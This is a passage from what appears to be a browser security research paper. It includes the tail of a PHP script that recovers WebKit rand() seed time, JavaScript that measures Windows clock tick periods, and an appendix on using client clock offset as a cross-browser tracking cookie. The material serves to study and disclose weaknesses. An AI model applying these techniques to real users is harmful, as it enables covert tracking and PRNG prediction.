                                $str_t=gmdate("r",$seed_time);
                                echo "seed_time=$seed_time “;
                                echo “[seconds since Epoch, GMT ($str_t)], “;
                                echo “CRT_mileage: ".($i-3)." [rand() invocations]<br>";
                                break;
                        }
```

```
                }
                if (! isset($str_t))
                {
                        echo "Could not find seed time<br>";
                        exit;
                }
        }
}
?>
<html>
<body>
<form method="POST" onSubmit="f()" enctype="multipart/form-data">
<input type=hidden name="t">
<input type="submit" name="dummy" value="Calculate WebKit (Windows) first rand()
invocation time and CRT_mileage">
</form>
<script>
function f()
{
        document.forms[0].t.value=(new Date()).getTime()/1000;
}
</script>
</body>
</html>
```

Appendix C – Tick extraction (IE and Safari, Windows)

The below code is an example of how the tick time can be extracted at the client side, using Javascript (works with Internet Explorer and Apple Safari for Windows). Function find_tick() can be copied from here and used anywhere in which the tick time is needed, e.g. it can compute the tick time and embed it in a form which is later submitted to the server.

```
<html>
<body>
<script>
function find_tick()
{
	var tick=Array(10.0144,15.625);
	var last_t=(new Date()).getTime();
	for (c=0;((c<10)||(tick.length>1));c++)
	{
		var t;
		while((t=(new Date()).getTime())==last_t);

		for (i=0;i<tick.length;i++)
		{
			var n=Math.round((t-last_t)/tick[i]);
			var d=Math.abs(t-(last_t+n*tick[i]));
			// d should be <1, but clock tick adjustment may take it
			// 1ms away (assuming no more than 1 second elapses in
			// between samples)
			if (d>=2)
			{
				tick.splice(i,1);
				i--;
			}
		}
		if (tick.length==0)
		{
			break;
		}
		last_t=t;
	}
	if (tick.length==1)
	{
		return tick[0];
	}
	else
	{
		return -1;
	}
}

var tk=find_tick();
if (tk!=-1)
{
	alert("tick="+find_tick()+"ms");
}
else
{
	alert("Can't find tick period - maybe this isn't Windows+IE/Safari?");
}
</script>
</body>
</html>
```

Appendix D – Client clock offset as a (very weak) global cookie

An individual computer has clock time that can be easily sampled via client side Javascript, in granularity of clock ticks (in Windows). This clock can be compared to the attacker's server clock (by means of the client sending the clock reading via HTTP to the server), and the client clock offset can be estimated. This yields a very weak "cookie" – two computers may be distinguished by their clock offset, and the same computer can be detected by nearly identical clock offset. This observation is not specific to any browser – it can be applied to all browsers (and in fact, across browsers in the same PC).

Assuming that the clock offset range is unlikely to span more than 60 seconds (i.e. that computers in general show more or less the same time), and that the accuracy of delay measurement over the Internet is in the order of magnitude of 100 milliseconds, this yields around 9 bits of information.

There are complications, though:

- Computers which use synchronization mechanisms (e.g. the Windows Time service) periodically adjust their clock, thereby "losing" the cookie.
- Delay patterns change over time, which may cause cookie "loss"

The situation is somewhat more interesting when two windows on the same computer send HTTP requests to the attacker server simultaneously (a-la section 4.1). In such case, the difference in arrival time is smaller than the deviations in arrival time of unrelated separate requests (because the two simultaneous requests go through exactly the same network "weather"). In such case, the deviation can be few dozen milliseconds, yielding around 11 bits of information.

One may think that with more samples, more accuracy can be obtained, because two windows on the same computer will always generate "close hits", whereas two windows on two different computers may have their hits disparate due to different network latency and variations thereof. But this is not the case when the two computers are on the same LAN, or behind the same firewall. In such case, they experience more-or-less the same "network weather" along the path, so the variations will be similar. In such case, the only piece of information that can differentiate between the two scenarios is the clock offset.